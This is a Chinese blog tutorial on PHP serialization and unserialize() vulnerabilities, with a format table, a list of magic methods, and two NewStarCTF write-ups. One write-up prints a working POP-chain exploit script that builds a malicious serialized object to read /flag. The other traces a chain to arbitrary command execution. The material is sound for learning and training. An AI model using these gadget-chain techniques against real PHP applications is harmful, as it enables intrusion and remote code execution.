php反序列化基础

php反序列化基础

什么是序列化,反序列化

反序列化(Deserialization) 是指将序列化后的数据(通常是字符串或二进制格式)恢复为原始数据结构(如数组、对象)。在 PHP 中,unserialize() 就是用来执行反序列化的,它可以把 serialize() 处理过的字符串还原成原始的 PHP 变量或对象。

示例

1
2
3
4
5
6
7
8
9
10
<?php
// 序列化对象
$data = ['name' => 'Alice', 'age' => 25];
$serialized = serialize($data);
echo "序列化后的数据: " . $serialized . "\n";

// 反序列化
$unserialized = unserialize($serialized);
print_r($unserialized);
?>

输出

1
2
3
4
5
6
序列化后的数据: a:2:{s:4:"name";s:5:"Alice";s:3:"age";i:25;}
Array
(
[name] => Alice
[age] => 25
)

这个过程就是:

  • 序列化:把数组转换成字符串(便于存储、传输)。
  • 反序列化:把字符串恢复成数组(便于程序使用)。

程序语言之所以需要序列化(Serialization)和反序列化(Deserialization),主要是为了数据的存储、传输和共享。具体来说:

在应用开发中,数据往往需要持久化(如存入数据库、缓存或文件)。但数据库和文件通常存储的是字符串或二进制格式,序列化可以将复杂的数据结构(如对象、数组)转换为可存储的格式,之后用反序列化恢复出来。

序列化 = 把数据转换成字符串/二进制(方便存储和传输)

反序列化 = 把字符串/二进制恢复成数据(方便程序使用)

PHP 序列化的代号与释义

代号 数据类型 释义 示例
N NULL 表示 NULL N;
b boolean 布尔值 truefalse b:1;(true),b:0;(false)
i integer 整数 i:123;
d double(浮点数) 浮点数 d:3.14;
s string 字符串(包含长度) s:5:"Alice";
a array 数组(键值对存储) a:2:{s:4:"name";s:5:"Alice";s:3:"age";i:25;}
O object 对象(包含类名和属性) O:4:"User":1:{s:4:"name";s:3:"Bob";}
R reference(引用) 引用(指向之前的变量) R:1;
C custom object 对象自定义序列化(Serializable 接口) C:8:"MyClass":9:{datahere}

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00%00属性名*

对象的方法不会被序列化

序列化对象例子(Object)

1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class User {
public $name;
private $password;

public function __construct($name, $password) {
$this->name = $name;
$this->password = $password;
}

public function sayHello() {
return "Hello, " . $this->name;
}
}

$user = new User("Alice", "secret123");
$serialized = serialize($user);
echo $serialized;
?>

输出:

1
O:4:"User":2:{s:4:"name";s:5:"Alice";s:12:"Userpassword";s:9:"secret123";}
  • O:4:"User" → 这是一个对象(Object),类名是 "User"(长度 4)。
  • 2 → 该对象有 2 个属性(public $nameprivate $password)。
  • s:4:"name";s:5:"Alice";public $name 的值是 "Alice"
  • s:12:"Userpassword";s:9:"secret123";private $password 的值是 "secret123"

🔹 sayHello() 方法并没有出现在序列化结果中,说明方法不会被序列化。

2.

在反序列化的时候要保证有该类存在,因为没有序列化方法,所以我们反序列化回来还要依靠该类的方法进行。

PixPin_2025-04-07_16-35-07

PixPin_2025-04-07_16-35-17

PixPin_2025-04-07_16-35-25

为什么要序列化对象成字符串呢?在开发中又起到什么作用?

因为PHP文件执行后会把内存的数据进行销毁,如果下一个文件想用到刚刚销毁对象的属性就还要重新实例化new一次对象,所以才会将对象进行序列化然后存储,也避免重新实例化带来的耗费。

3.

PixPin_2025-04-02_16-35-11

PixPin_2025-04-02_16-36-03

什么是魔术方法

魔术方法是一种特殊的方法,会在对象执行某些操作时覆盖PHP的默认操作

常用的:

https://zhuanlan.zhihu.com/p/377676274

魔术方法名称 说明
__sleep() serialize() 时调用
__wakeup() unserialize() 时调用
__toString() 用于一个对象被当成字符串时调用
__invoke() 当尝试以调用函数的方式调用一个对象时
__construct() 构造函数,每次创建新对象时先调用此方法 (但在unserialize()时是不会自动调用的)。
__destruct() 析构函数,某个对象的所有引用都被删除或者当对象被显式销毁时执行
__set() 在给不可访问(protected 或 private)或不存在的属性赋值时
__get() 读取不可访问(protected 或 private)或不存在的属性的值时
__call() 当对象调用一个不可访问方法时

__toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

魔术方法总结

PixPin_2025-04-07_16-40-18

反序列化漏洞的成因:

在 PHP 反序列化的过程中,如果 unserialize() 处理的是用户可控的输入,那么攻击者就可以伪造对象的序列化字符串,修改原有类的属性值,甚至触发类中的魔术方法,从而执行任意代码。

反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。

[NewStarCTF 公开赛赛道]UnserializeOne

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}


if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
  1. Start
    • 析构方法 __destruct():输出 Welcome to NewStarCTF, $this->name;
    • __isset() 方法:会调用 $this->func 这个属性
  2. Sec
    • __toString() 方法:调用 $this->obj->check($this->var);
    • __invoke() 方法:读取 /flag 并输出。
  3. Easy
    • __call() 魔术方法:$this->cla = clone $var[0];(调用时克隆 $var[0]
  4. eeee
    • __clone() 方法:检查 $this->obj->cmd 是否存在。

目标是 触发 Sec 类的 __invoke() 方法,这样可以 file_get_contents('/flag') 读取 flag。

1
2
3
要 触发 Sec 类的 `__invoke()` 方法->把对象当作函数调用:->Start类的_isset方法:把Sec类当作func属性

->触发isset方法->class eeee类的__clone方法->class Easy->触发call->class Sec->__toString->class Start的__destruct

后续就是编写exp

先将代码复制进vscode,然后把所有和属性无关的删除。

private的属性改成public 缺的属性补全

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Start{
public $name;
public $func;
}

class Sec{
public $obj;
public $var;
}

class Easy{
public $cla;
}

class eeee{
public $obj;
}

$res = new Start;
$res->name = new Sec;//第一条链
$res->name->obj = new Easy;//第二条链
$res->name->var=new eeee;//第三条链
$res->name->var->obj=new Start;//第四条链
$res->name->var->obj->func=new Sec;//第五条链
echo serialize($res);
?>

[NewStarCTF 2023 公开赛道]POP Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}
}
class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}
}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}
public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}
}
class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);

入手点: ($this->func)($this->var); 可以执行任意命令

1
WhiteGod::_unset->CTF::end->Handle::_call->Super::_invoke->Then::toString->Begin::__destruct

php反序列化基础
http://example.com/2025/04/06/php反序列化基础/
作者
everythingis-ok
发布于
2025年4月6日
许可协议